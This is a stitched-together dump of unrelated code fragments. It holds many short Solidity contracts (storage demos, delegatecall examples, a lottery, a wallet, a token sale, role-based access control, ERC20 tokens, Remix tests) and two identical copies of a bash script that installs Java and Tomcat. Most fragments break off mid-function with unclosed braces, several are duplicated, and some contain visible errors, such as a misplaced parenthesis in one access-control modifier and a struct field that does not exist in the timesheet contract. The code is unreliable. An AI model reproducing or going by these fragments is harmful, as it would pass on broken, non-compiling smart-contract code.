//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract JsonStore {
function set(string _value) public {
value = _value;
}
function get() public constant returns (string) {
return value;
}
string value;
contract D {
uint public n;
address public sender;
function callSetN(address _e, uint _n) {
_e.call(bytes4(sha3("setN(uint256)")), _n); // E's storage is set, D is not modified
}
function callcodeSetN(address _e, uint _n) {
_e.callcode(bytes4(sha3("setN(uint256)")), _n); // D's storage is set, E is not modified
}
function delegatecallSetN(address _e, uint _n) {
_e.delegatecall(bytes4(sha3("setN(uint256)")), _n); // D's storage is set, E is not modified
}
}
contract E {
uint public n;
address public sender;
function setN(uint _n) {
n = _n;
sender = msg.sender;
// msg.sender is D if invoked by D's callcodeSetN. None of E's storage is updated
// msg.sender is C if invoked by C.foo(). None of E's storage is updated
// the value of "this" is D, when invoked by either D's callcodeSetN or C.foo()
}
}
contract C {
function foo(D _d, E _e, uint _n) {
_d.delegatecallSetN(_e, _n);
}
contract dpki {
struct Attribute {
address owner;
string attributeType;
bool has_proof;
bytes32 identifier;
string data;
string datahash;
}
struct Signature {
address signer;
uint attributeID;
uint expiry;
}
struct Revocation {
uint signatureID;
}
Attribute[] public attributes;
Signature[] public signatures;
Revocation[] public revocations;
event AttributeAdded(uint indexed attributeID, address indexed owner, string attributeType, bool has_proof, bytes32 indexed identifier, string data, string datahash);
event AttributeSigned(uint indexed signatureID, address indexed signer, uint indexed attributeID, uint expiry);
event SignatureRevoked(uint indexed revocationID, uint indexed signatureID);
function addAttribute(string attributeType, bool has_proof, bytes32 identifier, string data, string datahash) returns (uint attributeID) {
attributeID = attributes.length++;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.6;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
#!/bin/bash
# 1) Check if java is installed.
echo "==========================================================="
echo "STEP [1] : Prepare java for apache-tomcat."
echo "==========================================================="
java -version 2>&1 | grep 'is not recognized\|command not found' #If java is not installed, this word will be show
IS_JAVA_INSTALLED=$?
if [ $IS_JAVA_INSTALLED != 0 ]
then
JAVA_VERSION=$(java -version 2>&1 | grep "version" | awk -F" " '{print $3}')
echo "Java is already installed on your system."
echo "current java version = $JAVA_VERSION "
else
echo "Java is not installed on your system."
# Download Oracle java rpm from the internet.
cd /root
wget --output-document java1.8_u251.rpm https://javadl.oracle.com/webapps/download/AutoDL?BundleId=242049_3d5a2bb8f8d4428bbe94aed7ec7ae784
rpm -ivh java1.8_u251.rpm
# Verify Java
java -version
fi
# 2) Install Apache Tomcat
mkdir /tomcat
cd /tomcat
# Download Apache tomcat from the internet
wget https://downloads.apache.org/
#!/bin/bash
# 1) Check if java is installed.
echo "==========================================================="
echo "STEP [1] : Prepare java for apache-tomcat."
echo "==========================================================="
java -version 2>&1 | grep 'is not recognized\|command not found' #If java is not installed, this word will be show
IS_JAVA_INSTALLED=$?
if [ $IS_JAVA_INSTALLED != 0 ]
then
JAVA_VERSION=$(java -version 2>&1 | grep "version" | awk -F" " '{print $3}')
echo "Java is already installed on your system."
echo "current java version = $JAVA_VERSION "
else
echo "Java is not installed on your system."
# Download Oracle java rpm from the internet.
cd /root
wget --output-document java1.8_u251.rpm https://javadl.oracle.com/webapps/download/AutoDL?BundleId=242049_3d5a2bb8f8d4428bbe94aed7ec7ae784
rpm -ivh java1.8_u251.rpm
# Verify Java
java -version
fi
# 2) Install Apache Tomcat
mkdir /tomcat
cd /tomcat
# Download Apache tomcat from the internet
wget https://downloads.apache.org/
pragma solidity ^0.6.0;
contract arr {
uint[] public array = [1,2,3,4,5,6,7,8,9];
function test (uint x) public {
remove(x);
}
function remove(uint element) internal returns(uint[] memory) {
uint index = indexOf(array, element);
if (index >= array.length) return array;
for (uint i = index; i<array.length-1; i++){
array[i] = array[i+1];
}
array.pop();
return array;
}
function indexOf(uint[] memory self, uint value)
internal
pure
returns (uint256)
{
for (uint256 i = 0; i < self.length; i++)
if (self[i] == value) return i;
return uint256(-1);
}
function viewArray() view public returns(uint[] memory) {
return array;
}
}
pragma solidity ^0.6.0;
contract Lottery {
mapping (address => uint256) public winnings;
address[] public tickets;
string public name = "Lottery";
string public symbol = "LOT";
uint256 public maxTickets = 100;
uint256 public remainingTickets = 0;
uint public ticketCount = 0;
uint256 public randomNum = 0;
address public latestWinner;
constructor(string memory tokenName, string memory tokenSymbol, uint256 maximumTickets) public {
name = tokenName;
symbol = tokenSymbol;
maxTickets = maximumTickets;
remainingTickets = maxTickets;
}
function Buy() public payable {
require(msg.value == 1000000000000000000);
uint256 val = msg.value / 1000000000000000000;
require(remainingTickets - val <= remainingTickets);
remainingTickets -= val; // Remove from unspent supply
tickets.push(msg.sender);
ticketCount++;
}
function Withdraw() public {
pragma solidity ^0.6.0;
contract MyWallet {
address payable private owner;
constructor() public {
owner = msg.sender;
}
receive() external payable {
}
function sendEther(address payable _to, uint _amount) public {
require(msg.sender == owner, "Must own this wallet to send Ether from it");
require(address(this).balance >= _amount, "Cannot send more than this wallet holds");
_to.transfer(_amount);
}
pragma solidity 0.5.11;
// solium-disable-next-line
pragma experimental ABIEncoderV2;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(
pragma solidity ^0.4.18;
contract TokenSale {
enum State { Active, Suspended }
address public owner;
ERC20 public token;
State public state;
function TokenSale(address tokenContractAddress) {
owner = msg.sender;
token = ERC20(tokenContractAddress);
state = State.Active;
}
// 1:1 exchange of ETH for token
function buy() payable {
require(state == State.Active);
token.transfer(msg.sender, msg.value);
}
function suspend () {
require(msg.sender == owner);
state = State.Suspended;
}
function activate () {
require(msg.sender == owner);
state = State.Active;
}
function withdraw() {
require(msg.sender == owner);
owner.transfer(address(this).balance);
}
pragma solidity ^0.4.0;
pragma experimental ABIEncoderV2;
contract TimeSheet {
struct WorkDay {
uint256 projectId;
uint256 day;
uint256 month;
uint256 year;
uint256 hoursWorked;
}
struct WorkProject {
uint256 projectId;
}
struct Month {
string name;
uint256 number;
uint256 yearNumber;
uint256 workingDays;
}
struct Client {
string name;
string fullAddress;
string postCode;
string VAT;
}
WorkProject[] public workprojects;
Client[] public client;
WorkDay[] public workedDays;
Month[] monthTimesheets;
function setMonthTimesheet(Month memory monthTimeshet) public {
monthTimesheets[(monthTimeshet.year * 1000) + monthTimeshet.number] = monthTimeshet;
}
function getCurrentMonthWorkedDays(uint256 month, uint256 year) public returns (uint256 days_) {
days_ = 0;
for (uint p = 0; p < workedDays
pragma solidity ^0.4.0;
pragma experimental ABIEncoderV2;
contract TimeSheet {
struct WorkDay {
uint256 projectId;
uint256 day;
uint256 month;
uint256 year;
uint256 hoursWorked;
}
struct WorkProject {
uint256 projectId;
}
struct Month {
string name;
uint256 number;
uint256 yearNumber;
uint256 workingDays;
}
struct Client {
string name;
string fullAddress;
string postCode;
string VAT;
}
WorkProject[] public workprojects;
Client[] public client;
WorkDay[] public workedDays;
Month[] monthTimesheets;
function setMonthTimesheet(Month memory monthTimeshet) public {
monthTimesheets[(monthTimeshet.year * 1000) + monthTimeshet.number] = monthTimeshet;
}
function getCurrentMonthWorkedDays(uint256 month, uint256 year) public returns (uint256 days_) {
days_ = 0;
for (uint p = 0; p < w
pragma solidity ^0.6.0;
import "../utils/EnumerableSet.sol";
import "../utils/Address.sol";
import "../GSN/Context.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, _msgSender()));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// ----------------------------------------------------------------------------
// @title ERC20Basic
// @dev Simpler version of ERC20 interface
// See https://github.com/ethereum/EIPs/issues/17
pragma solidity >=0.6.0 <0.7.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.0.0/contracts/token/ERC20/ERC20.sol";
contract CustomERC20 is ERC20 {
event feeGenerated(uint);
address baseAddress;
uint rate;
constructor (string memory name, string memory symbol) ERC20(name, symbol) public {
baseAddress = msg.sender;
rate = 5; // 5/100
_mint(msg.sender, 10000000);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
uint fee = (amount * rate) / 100;
_transfer(_msgSender(), baseAddress, fee); // send fee
emit feeGenerated(fee);
super.transfer(recipient, amount);
return true;
}
pragma solidity 0.5.7;
contract A {
event Event(string name);
constructor() public {
emit Event("A");
}
}
contract B is A {
constructor() public {
emit Event("B");
}
}
contract C {
event Event(string name);
constructor() public {
emit Event("C");
}
}
contract D is C, B {
constructor() public {
emit Event("D");
}
pragma solidity 0.5.7;
contract A {
event Event(string name);
constructor() public {
emit Event("A");
}
}
contract B is A {
constructor() public {
emit Event("B");
}
}
contract C {
event Event(string name);
constructor() public {
emit Event("C");
}
}
contract D is C, B {
constructor() public {
emit Event("D");
}
pragma solidity >=0.4.22 <0.7.0;
contract Value {
uint256 public tokenBalance;
constructor() public {
tokenBalance = 0;
}
function addValue() payable public {
tokenBalance = tokenBalance + (msg.value/10);
}
function getTokenBalance() view public returns (uint256) {
return tokenBalance;
}
pragma solidity >=0.4.22 <0.7.0;
contract AttendanceRegister {
struct Student{
string name;
uint class;
}
event Added(string name, uint class, uint time);
mapping(uint => Student) public register; // roll number => student details
function add(uint rollNumber, string memory name, uint class) public returns (uint256){
require(class > 0 && class <= 12, "Invalid class");
require(register[rollNumber].class == 0, "Roll number not available");
Student memory s = Student(name, class);
register[rollNumber] = s;
emit Added(name, class, now);
return rollNumber;
}
function getStudentName(uint rollNumber) public view returns (string memory) {
return register[rollNumber].name;
}
pragma solidity >=0.4.22 <0.7.0;
contract Sender {
address private owner;
constructor() public {
owner = msg.sender;
}
function updateOwner(address newOwner) public {
require(msg.sender == owner, "only current owner can update owner");
owner = newOwner;
}
function getOwner() public view returns (address) {
return owner;
}
pragma solidity ^0.6.0;
import "./DynamicAccessControl.sol";
import "./RoleSets.sol";
contract ControlledContract is DynamicAccessControl {
using RoleSets for RoleSets.RoleSet;
RoleSets.RoleSet rootRoleSet;
RoleSets.RoleSet secondaryRoleSet;
RoleSets.RoleSet tertiaryRoleSet;
bytes32 public constant ROOT_ROLE_SET = 0x00;
constructor() public DynamicAccessControl(msg.sender) {
rootRoleSet.addRoleId(ROOT_ROLE_SET);
secondaryRoleSet.addRoleId(ROOT_ROLE_SET);
tertiaryRoleSet.addRoleId(ROOT_ROLE_SET);
}
function addRoleToSecondarySet(bytes32 _roleId) public onlyMembersOf(rootRoleSet.roleIds){
secondaryRoleSet.addRoleId(_roleId);
}
function addRoleToTertiarySet(bytes32 _roleId) public onlyMembersOf(secondaryRoleSet.roleIds){
tertiaryRoleSet.addRoleId(_roleId);
}
pragma solidity ^0.6.0;
library RoleSets {
struct RoleSet {
bytes32[] roleIds;
}
function addRoleId(RoleSet storage _roleSet, bytes32 _roleId) internal {
_roleSet.roleIds.push(_roleId);
}
pragma solidity ^0.6.0;
library RoleSets {
struct RoleSet {
bytes32[] roleIds;
}
bytes32 public constant ROOT_ROLE_SET = 0x00;
function addRoleId(RoleSet storage _roleSet, bytes32 _roleId) internal {
_roleSet.roleIds.push(_roleId);
}
pragma solidity ^0.6.0;
import "openzeppelin-solidity/contracts/access/AccessControl.sol";
contract DynamicAccessControl is AccessControl {
event AdminRoleSet(bytes32 roleId, bytes32 adminRoleId);
constructor (address root) public {
_grantRole(DEFAULT_ADMIN_ROLE, root);
}
modifier onlyMember(bytes32 roleId) {
require(hasRole(roleId, msg.sender), "Restricted to members.");
_;
}
modifier onlyMembersOf(bytes32[] memory roleIds) {
bool isMember = false;
for (uint i = 0; i < roleIds.length; i++) {
if (hasRole(roleIds[i], msg.sender)) {
isMember = true;
break;
}
}
require(isMember == true, "Restricted to members.");
_;
}
function addRole(bytes32 roleId, bytes32 adminRoleId) public onlyMember(adminRoleId) {
_setRoleAdmin(roleId, adminRoleId);
emit AdminRoleSet(roleId, adminRoleId);
}
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/access/AccessControl.sol";
contract DynamicAccessControl is AccessControl {
event AdminRoleSet(bytes32 roleId, bytes32 adminRoleId);
constructor (address root) public {
_grantRole(DEFAULT_ADMIN_ROLE, root);
}
modifier onlyMembersOf(bytes32[] roleIds) {
bool isMember = false;
for (var i = 0; i < roleIds.length; i++) {
if (hasRole(roleIds[i]), msg.sender) {
isMember = true;
break;
}
}
require(isMember == true, "Restricted to members.");
_;
}
function addRole(bytes32 roleId, bytes32 adminRoleId)
public onlyMember(adminRoleId) {
_setRoleAdmin(roleId, adminRoleId);
emit AdminRoleSet(roleId, adminRoleId);
}
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/access/AccessControl.sol";
/**
* @title Hierarchy
* @author Alberto Cuesta Canada
* @notice Implements a dynamic role structure for Roles
*/
contract Hierarchy is AccessControl {
event AdminRoleSet(bytes32 roleId, bytes32 adminRoleId);
/// @dev Add `root` as a member of the root role.
constructor (address root) public {
_grantRole(DEFAULT_ADMIN_ROLE, root);
}
/// @dev Restricted to members of the role passed as a parameter.
modifier onlyMember(bytes32 roleId) {
require(hasRole(roleId, msg.sender), "Restricted to members.");
_;
}
/// @dev Create a new role with the specified admin role.
function addRole(bytes32 roleId, bytes32 adminRoleId)
public onlyMember(adminRoleId) {
_setRoleAdmin(roleId, adminRoleId);
emit AdminRoleSet(roleId, adminRoleId);
}
pragma solidity >=0.4.22 <0.7.0;
import "remix_tests.sol";
import "./Value.sol";
contract ValueTest{
Value v;
function beforeAll() public {
// create a new instance of Value contract
v = new Value();
}
/// Test initial balance
function testInitialBalance() public {
// initially token balance should be 0
Assert.equal(v.getTokenBalance(), 0, 'token balance should be 0 initially');
}
/// For Solidity version greater than 0.6.1
/// Test 'addValue' execution by passing custom ether amount
/// #value: 200
function addValueOnce() public payable {
// check if value is same as provided through devdoc
Assert.equal(msg.value, 200, 'value should be 200');
// execute 'addValue'
v.addValue{gas: 40000, value: 200}(); // introduced in Solidity version 0.6.2
// As per the calculation, check the total balance
Assert.equal(v.getTokenBalance(), 20, 'token balance should be 20');
}
pragma solidity >=0.4.22 <0.7.0;
import "remix_tests.sol"; // this import is automatically injected by Remix.
import "./AttendanceRegister.sol";
contract AttendanceRegisterTest {
AttendanceRegister ar;
/// 'beforeAll' runs before all other tests
function beforeAll () public {
// Create an instance of contract to be tested
ar = new AttendanceRegister();
}
/// For solidity version greater or equal to 0.6.0,
/// See: https://solidity.readthedocs.io/en/v0.6.0/control-structures.html#try-catch
/// Test 'add' using try-catch
function testAddSuccessUsingTryCatch() public {
// This will pass
try ar.add(101, 'secondStudent', 11) returns (uint256 r) {
Assert.equal(r, 101, 'wrong rollNumber');
} catch Error(string memory /*reason*/) {
// This is executed in case
// revert was called inside getData
// and a reason string was provided.
Assert.ok(false, 'failed with reason');
pragma solidity >=0.4.22 <0.7.0;
import "remix_tests.sol"; // this import is automatically injected by Remix
import "remix_accounts.sol";
import "./Sender.sol";
// Inherit 'Sender' contract
contract SenderTest is Sender {
/// Define variables referring to different accounts
address acc0;
address acc1;
address acc2;
/// Initiate accounts variable
function beforeAll() public {
acc0 = TestsAccounts.getAccount(0);
acc1 = TestsAccounts.getAccount(1);
acc2 = TestsAccounts.getAccount(2);
}
/// Test if initial owner is set correctly
function testInitialOwner() public {
// account at zero index (account-0) is default account, so current owner should be acc0
Assert.equal(getOwner(), acc0, 'owner should be acc0');
}
/// Update owner first time
/// This method will be called by default account(account-0) as there is no custom sender defined
function updateOwnerOnce() public {
// check method caller is as e
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MyToken is ERC20, AccessControl {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");
constructor() public ERC20("MyToken", "TKN") {
// Grant the contract deployer the default admin role: it will be able
// to grant and revoke any roles
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
function mint(address to, uint256 amount) public {
require(hasRole(MINTER_ROLE, msg.sender), "Caller is not a minter");
_mint(to, amount);
}
function burn(address from, uint256 amount) public {
require(hasRole(BURNER_ROLE, msg.sender), "Caller is not a burner");
_burn(from, amount);
}
pragma solidity ^0.6.0;
import "../utils/EnumerableSet.sol";
import "../utils/Address.sol";
import "../GSN/Context.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, _msgSender()));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE